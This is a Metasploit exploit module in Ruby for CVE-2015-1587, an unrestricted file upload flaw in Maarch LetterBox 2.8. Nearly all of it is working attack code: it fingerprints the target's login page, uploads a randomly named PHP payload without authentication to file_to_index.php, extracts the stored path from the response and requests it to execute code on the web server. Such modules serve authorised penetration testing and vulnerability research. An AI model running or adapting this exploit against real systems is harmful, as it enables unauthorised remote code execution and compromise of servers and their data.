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## # This module requires Metasploit: http://www.metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'uri' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info( info, 'Name' => 'Maarch LetterBox 2.8 Unrestricted File Upload', 'Description' => %q{ This module exploits a file upload vulnerability on Maarch LetterBox 2.8 due to a lack of session and file validation in the file_to_index.php script. It allows unauthenticated users to upload files of any type and subsequently execute PHP scripts in the context of the web server. }, 'License' => MSF_LICENSE, 'Author' => [ 'Rob Carr <rob[at]rastating.com>' ], 'References' => [ ['CVE', '2015-1587'] ], 'DisclosureDate' => 'Feb 11 2015', 'Platform' => 'php', 'Arch' => ARCH_PHP, 'Targets' => [['Maarch LetterBox 2.8', {}]], 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The base path to Maarch LetterBox', '/']) ], self.class) end def letterbox_login_url normalize_uri(target_uri.path, 'login.php') end def letterbox_upload_url normalize_uri(target_uri.path, 'file_to_index.php') end def check res = send_request_cgi('method' => 'GET', 'uri' => letterbox_login_url) if res.nil? || res.code != 200 return Msf::Exploit::CheckCode::Unknown elsif res.body.include?('alt="Maarch Maerys Archive v2.1 logo"') return Msf::Exploit::CheckCode::Appears end Msf::Exploit::CheckCode::Safe end def generate_mime_message(payload, name) data = Rex::MIME::Message.new data.add_part(payload.encoded, 'text/plain', 'binary', "form-data; name=\"file\"; filename=\"#{name}\"") data end def exploit print_status("#{peer} - Preparing payload...") payload_name = "#{Rex::Text.rand_text_alpha(10)}.php" data = generate_mime_message(payload, payload_name) print_status("#{peer} - Uploading payload...") res = send_request_cgi( 'method' => 'POST', 'uri' => letterbox_upload_url, 'ctype' => "multipart/form-data; boundary=#{data.bound}", 'data' => data.to_s ) fail_with(Failure::Unreachable, 'No response from the target') if res.nil? fail_with(Failure::UnexpectedReply, "Server responded with status code #{res.code}") if res.code != 200 print_status("#{peer} - Parsing server response...") captures = res.body.match(/\[local_path\] => (.*\.php)/i).captures fail_with(Failure::UnexpectedReply, 'Unable to parse the server response') if captures.nil? || captures[0].nil? payload_url = normalize_uri(target_uri.path, captures[0]) print_good("#{peer} - Response parsed successfully") print_status("#{peer} - Executing the payload at #{payload_url}") register_files_for_cleanup(File.basename(URI.parse(payload_url).path)) send_request_cgi({ 'uri' => payload_url, 'method' => 'GET' }, 5) end end Source